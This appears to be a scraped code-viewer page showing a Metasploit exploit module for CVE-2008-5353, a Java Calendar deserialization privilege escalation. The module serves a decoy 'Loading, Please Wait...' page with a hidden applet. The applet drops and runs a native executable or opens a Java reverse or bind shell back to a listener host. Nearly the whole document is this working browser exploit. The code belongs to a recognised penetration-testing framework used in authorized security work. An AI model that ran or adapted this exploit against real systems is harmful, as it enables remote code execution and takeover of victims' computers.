Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_calendar_deserialize.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011# Superceded by java_atomicreferencearray12# include Msf::Exploit::Remote::BrowserAutopwn13# autopwn_info({ :javascript => false })1415def initialize(info = {})16super(17update_info(info,18'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',19'Description' => %q{20This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.2122The payload can be either a native payload which is generated as an executable and23dropped/executed on the target or a shell from within the Java applet in the target browser.2425The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 1626and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).27},28'License' => MSF_LICENSE,29'Author' => [ 'sf', 'hdm' ],30'References' =>31[32[ 'CVE', '2008-5353' ],33[ 'OSVDB', '50500'],34[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],35[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],36[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]37],38'Platform' => %w(linux osx solaris win),39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' =>41[42[ 'Generic (Java Payload)',43{44'Platform' => ['java'],45'Arch' => ARCH_JAVA46}47],48[ 'Windows x86 (Native Payload)',49{50'Platform' => 'win',51'Arch' => ARCH_X8652}53],54[ 'Mac OS X PPC (Native Payload)',55{56'Platform' => 'osx',57'Arch' => ARCH_PPC58}59],60[ 'Mac OS X x86 (Native Payload)',61{62'Platform' => 'osx',63'Arch' => ARCH_X8664}65],66[ 'Linux x86 (Native Payload)',67{68'Platform' => 'linux',69'Arch' => ARCH_X8670}71]72],73'DefaultTarget' => 0,74'DisclosureDate' => '2008-12-03'75)76)77end7879def exploit80# load the static jar file81path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")82fd = File.open(path, "rb")83@jar_data = fd.read(fd.stat.size)84fd.close8586super87end8889def on_request_uri(cli, request)90data = nil91host = nil92port = nil9394if !request.uri.match(/\.jar$/i)95if !request.uri.match(/\/$/)96send_redirect(cli, get_resource + '/', '')97return98end99100print_status("#{name} handling request")101102payload = regenerate_payload(cli)103if !payload104print_error("Failed to generate the payload.")105return106end107108if target.name == 'Generic (Java Payload)'109if datastore['LHOST']110jar = payload.encoded111host = datastore['LHOST']112port = datastore['LPORT']113print_status("Payload will be a Java reverse shell")114else115port = datastore['LPORT']116host = cli.peerhost117print_status("Payload will be a Java bind shell")118end119if jar120print_status("Generated jar to drop (#{jar.length} bytes).")121jar = Rex::Text.to_hex(jar, prefix = "")122else123print_error("Failed to generate the executable.")124return125end126else127128# NOTE: The EXE mixin automagically handles detection of arch/platform129data = generate_payload_exe130131print_status("Generated executable to drop (#{data.length} bytes).")132data = Rex::Text.to_hex(data, prefix = "")133134end135136send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')137return138end139140print_status("Sending Applet.jar")141send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")142143handler(cli)144end145146def generate_html(data, jar, host, port)147html = "<html><head><title>Loading, Please Wait...</title></head>"148html += "<body><center><p>Loading, Please Wait...</p></center>"149html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"150html += "<param name=\"data\" value=\"#{data}\"/>" if data151html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar152html += "<param name=\"lhost\" value=\"#{host}\"/>" if host153html += "<param name=\"lport\" value=\"#{port}\"/>" if port154html += "</applet></body></html>"155html156end157158def generate_jar159@jar_data160end161end162163164